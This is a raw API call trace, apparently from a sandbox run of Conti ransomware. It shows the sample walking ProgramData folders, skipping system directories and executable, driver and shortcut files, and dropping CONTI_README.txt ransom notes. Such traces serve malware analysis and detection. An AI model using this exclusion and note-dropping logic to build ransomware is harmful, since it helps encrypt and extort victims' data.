	[0106.524] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned 81
	[0106.524] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.524] GetProcessHeap () returned 0x1720000
	[0106.524] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cbda0
	[0106.524] lstrcpyW (in: lpString1=0x17cbda0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov"
	[0106.524] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\"
	[0106.524] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml"
	[0106.524] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.525] GetProcessHeap () returned 0x1720000
	[0106.525] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511308 | out: hHeap=0x1720000) returned 1
	[0106.525] FindClose (in: hFindFile=0x17c82b0 | out: hFindFile=0x17c82b0) returned 1
	[0106.525] GetProcessHeap () returned 0x1720000
	[0106.525] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.525] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.525] GetProcessHeap () returned 0x1720000
	[0106.525] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f140 | out: hHeap=0x1720000) returned 1
	[0106.525] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0106.525] GetProcessHeap () returned 0x1720000
	[0106.525] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e960 | out: hHeap=0x1720000) returned 1
	[0106.525] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2=".") returned 1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="..") returned 1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="tmp") returned -1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="winnt") returned -1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="Application Data") returned -1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="AppData") returned -1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="temp") returned -1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="thumb") returned -1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="$Recycle.Bin") returned 1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="$RECYCLE.BIN") returned 1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="System Volume Information") returned -1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="Program Files") returned -1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="Program Files (x86)") returned -1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="Boot") returned -1
	[0106.525] lstrcmpiW (lpString1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="Windows") returned -1
	[0106.525] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.525] lstrlenW (lpString="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned 38
	[0106.525] GetProcessHeap () returned 0x1720000
	[0106.525] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173e618
	[0106.525] lstrcpyW (in: lpString1=0x173e618, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.525] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.526] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}"
	[0106.526] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned 76
	[0106.526] GetProcessHeap () returned 0x1720000
	[0106.526] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173e6c0
	[0106.526] lstrcpyW (in: lpString1=0x173e6c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}"
	[0106.526] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*"
	[0106.526] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned 76
	[0106.526] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.526] GetProcessHeap () returned 0x1720000
	[0106.526] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6510780
	[0106.526] lstrcpyW (in: lpString1=0x6510780, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}"
	[0106.526] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\"
	[0106.526] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\CONTI_README.txt"
	[0106.526] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.528] GetProcessHeap () returned 0x1720000
	[0106.528] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510780 | out: hHeap=0x1720000) returned 1
	[0106.528] WriteFile (in: hFile=0x3a0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.529] CloseHandle (hObject=0x3a0) returned 1
	[0106.529] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53552d40, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8470
	[0106.530] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.530] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53552d40, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.530] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.530] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.530] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53552d40, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53552d40, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.530] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.530] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.530] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.530] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.530] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f19b66, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.530] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.530] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.530] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.530] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.530] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.530] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.530] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.530] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.530] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.530] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.530] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned 76
	[0106.530] lstrlenW (lpString="customizations.xml") returned 18
	[0106.530] GetProcessHeap () returned 0x1720000
	[0106.530] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x6510dc0
	[0106.530] lstrcpyW (in: lpString1=0x6510dc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}"
	[0106.530] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\"
	[0106.530] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"
	[0106.530] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.530] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.530] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.530] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.530] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.530] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.531] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.531] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.531] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.531] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.531] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.531] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned 76
	[0106.531] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.531] GetProcessHeap () returned 0x1720000
	[0106.531] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181cae8
	[0106.531] lstrcpyW (in: lpString1=0x181cae8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}"
	[0106.531] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\"
	[0106.531] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml"
	[0106.531] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.531] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.531] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned 76
	[0106.531] lstrlenW (lpString="Prov") returned 4
	[0106.531] GetProcessHeap () returned 0x1720000
	[0106.531] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.531] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}"
	[0106.531] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\"
	[0106.531] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov"
	[0106.531] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned 81
	[0106.531] GetProcessHeap () returned 0x1720000
	[0106.532] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6586750
	[0106.532] lstrcpyW (in: lpString1=0x6586750, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov"
	[0106.532] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*"
	[0106.532] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned 81
	[0106.532] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.532] GetProcessHeap () returned 0x1720000
	[0106.532] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181cfc8
	[0106.532] lstrcpyW (in: lpString1=0x181cfc8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov"
	[0106.532] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\"
	[0106.532] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\CONTI_README.txt"
	[0106.532] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.533] GetProcessHeap () returned 0x1720000
	[0106.533] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cfc8 | out: hHeap=0x1720000) returned 1
	[0106.533] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.533] CloseHandle (hObject=0x3a8) returned 1
	[0106.534] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85f0
	[0106.534] lstrcmpiW (lpString1=".", lpString2=".") returned 0
